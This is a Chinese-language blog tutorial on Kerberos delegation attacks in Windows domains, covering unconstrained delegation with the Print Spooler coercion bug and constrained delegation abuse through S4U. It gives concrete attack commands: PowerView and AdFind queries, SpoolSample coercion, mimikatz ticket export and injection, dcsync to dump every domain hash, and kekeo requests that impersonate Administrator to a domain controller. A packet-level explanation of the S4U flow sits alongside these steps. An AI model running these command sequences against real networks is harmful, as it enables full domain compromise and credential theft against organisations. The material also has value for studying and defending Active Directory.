【域渗透】Kerberos委派攻击

一、委派简单介绍

关于委派分别有:非约束委派、约束委派、资源约束委派

域中如果出现 A 使用 Kerberos 身份验证访问域中的服务 B,而 B 再利用 A 的身份去请求域中的服务 C ,这个过程就可以理解为委派。

用户需要访问主机s2上的HTTP服务,而HTTP服务需要请求其他主机的SQLServer数据库,但是S2并不知道用户是否有权限访问SQLServer,这时HTTP服务会利用用户的身份去访问SQLServer,如果User有权限访问SQLServer服务才能访问成功。

 

一、非约束委派+Spooler BUG利用

powershell -exec bypass Import-Module .\PowerView.ps1

查询域中配置非约束委派的主机:Get-NetComuter -Unconstrained -Domain yiwang.com

利用条件,需要设置一台主机账户开启了非约束委派域内机器的权限,实际可配合powerview脚本查找主机,域控主机需要为win2012 server r2 以上 版本,Print Spooler服务默认是自动运行的

 

 

Spooler利用原理:利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了Spooler服务的计算机以通过Kerberos或ntml对攻击者选择的目标进行身份验证。

GitHub POC:https://github.com/leechristensen/SpoolSample  //此处使用域用户去执行,否则会导致程序崩溃需要将此域用户添加入本地管理员组为mimikatz做准备

命令: SpoolSample.exe dc.redteam.com WEB-1.redteam.com

使用mimikatz导入票据

privilege::debug  //提升权限

kerberos::purge  //清除票据

sekurlsa::tickets /export  //导出票据

 kerberos::ptt [0;862bdd]-2-0-60a10000-DC$@krbtgt-REDTEAM.COM.kirbi  //导入票据

lsadump::dcsync /domain:redteam.com /all /csv  //通过dcsync获取域内所有hash

二、约束委派

由于非约束委派的不安全性(配置了非约束委派的机器在 LSASS 中缓存了用户的 TGT 票据可模拟用户去访问域中任意服务),Kerberos 协议进行拓展,引入了 S4U(S4U2Self / S4U2proxy), 运行服务代表用户向 KDC 请求票据。
S4U2self:(Service for User to S4U2Self) 可以代表自身请求针对其自身的 Kerberos 服务票据(TGS);如果一个服务账户的 userAccountControl 标志为 TRUSTED_TO_AUTH_FOR_DELEGATION, 则其可以代表任何其他用户获取自身服务的 TGS/ST。
S4U2proxy:(Service for User to Proxy) 可以以用户的名义请求其它服务的 TGS,限制了 S4U2proxy 扩展的范围。

简单来说被设置约束委派服务能够通过S4U2Self向KDC为任意用户请求访问自身可转发的服务票据,接着就可以通过S4U2proxy使用ST票据向kDC请求访问B的票据,从而获取B的权限。

在Windows系统中,普通用户的属性中没有委派(Delegation)这个选项卡,只有服务账号、主机账号才有,也就是当前用户账户下存在相对应的服务,比如mssql,http等等服务

 

 

 

所以首先需要把一个用户设置为服务账户:setspn -U -A https/golden web

查找约束委派账户:AdFind.exe -h 192.168.237.9 -u web -up Password@123 -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

 

已经知道服务用户明文的条件下,用kekeo请求该用户的TGT

tgt::ask /user:web /domain:redteam.com /password:user@123 /ticket:yuyonghu01.kirbi

使用这张TGT通过伪造s4u请求以Administrator用户身份请求访问dc CIFS的ST

 tgs::s4u /tgt:TGT_web@REDTEAM.COM_krbtgt~redteam.com@REDTEAM.COM.kirbi /user:administrator@redteam.com /service:cifs/dc.redteam.com

S4U2Self获取到的ST1以及S4U2Proxy获取到的dc CIFS服务的ST2会保存在当前目录下

导入TGS服务票据,访问对应的服务

kerberos::ptt TGT_administrator@redteam.com@REDTEAM.COM_cifs~dc.redteam.com@REDTEAM.COM.kirbi

二、约束委派利用分析

AS-REQ以WEB$服务身份向KDC请求TGT票据,是可转发的kerberos.KDCOptions.forwardable=1

AS-REP KDC返回TGT票据

 

第三个TGS-REQ(s4u2self)包是用上一步得到的TGT票据,以administrator的身份向TGS申请了一张访问自身服务(WEB$)的ST票据,叫他ST1以免和下面混淆,设置可以转发。

 

 

第四个TGS-REP返回administrator的st1票据给WEB$机器

 

 

第五个TGS-REQ包(S4U2Proxy),WEB$得到ST1后,会additional-tickets 处带上ST1再次向KDC发起S4U2Proxy请求,以administrator的身份请求一张访问域控DC CIFS服务的票据.

 

 

 第六个TGS-REP包,KDC返回的就是以 administrator 身份访问域控DC的CIFS服务的ST票据,为ST2(TGT_administrator@redteam.com@REDTEAM.COM_cifs~dc.redteam.com@REDTEAM.COM.kirbi)

参考链接:

https://mp.weixin.qq.com/s/_wwTo7JcFV_lXaxhgMFJCQ

https://uknowsec.cn/posts/notes/%E5%9F%9F%E6%B8%97%E9%80%8F-Delegation.html

https://xz.aliyun.com/t/7217#toc-0

https://3nd.xyz/2021/01/18/ad-kerberos-delegation-md.html

posted @ 2020-07-11 19:08  aoaoaoao  阅读(1519)  评论(0编辑  收藏  举报